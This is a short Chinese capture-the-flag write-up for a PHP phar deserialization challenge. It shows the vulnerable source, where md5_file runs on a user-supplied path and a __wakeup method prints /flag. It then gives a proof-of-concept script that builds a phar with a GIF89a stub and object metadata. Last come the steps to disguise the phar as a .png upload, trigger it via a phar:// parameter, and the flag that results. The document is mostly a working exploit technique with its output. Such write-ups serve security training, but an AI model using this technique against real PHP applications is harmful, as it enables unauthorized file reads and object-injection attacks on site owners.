源码

<?php
error_reporting(0);
class Capricorn
{
public function __wakeup()
{
printf("%s\n", __METHOD__);
echo file_get_contents('/flag');
}
}

if (isset($_REQUEST['Capricorn'])) {
$filename = $_REQUEST['Capricorn'];
echo md5_file($filename);
} else {
echo "系统检测发现该处漏洞,进行攻击测试\n";
}
?>

POC

<?php
error_reporting(0);
class Capricorn{
}

@unlink("cap.phar");
$phar = new Phar("cap.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$cap = new Capricorn();
$phar->setMetadata($cap);
$phar->addFromString("cap.txt", "CSSEC");
$phar->stopBuffering();
保证phar.readonly=Off,运行POC.php,生成cap.phar,更改后缀名为.png后上传,返回路径uploads/cap.png,访问index.php,传入参数Capricorn=phar://uploads/cap.png

得到

Capricorn::__wakeup
Sonder{135d79-ba631f65200a5f-870225232871-7af1e740}

参考:https://www.yuque.com/shiyizhesonder/sonder39/obtegmmu8g0pdewg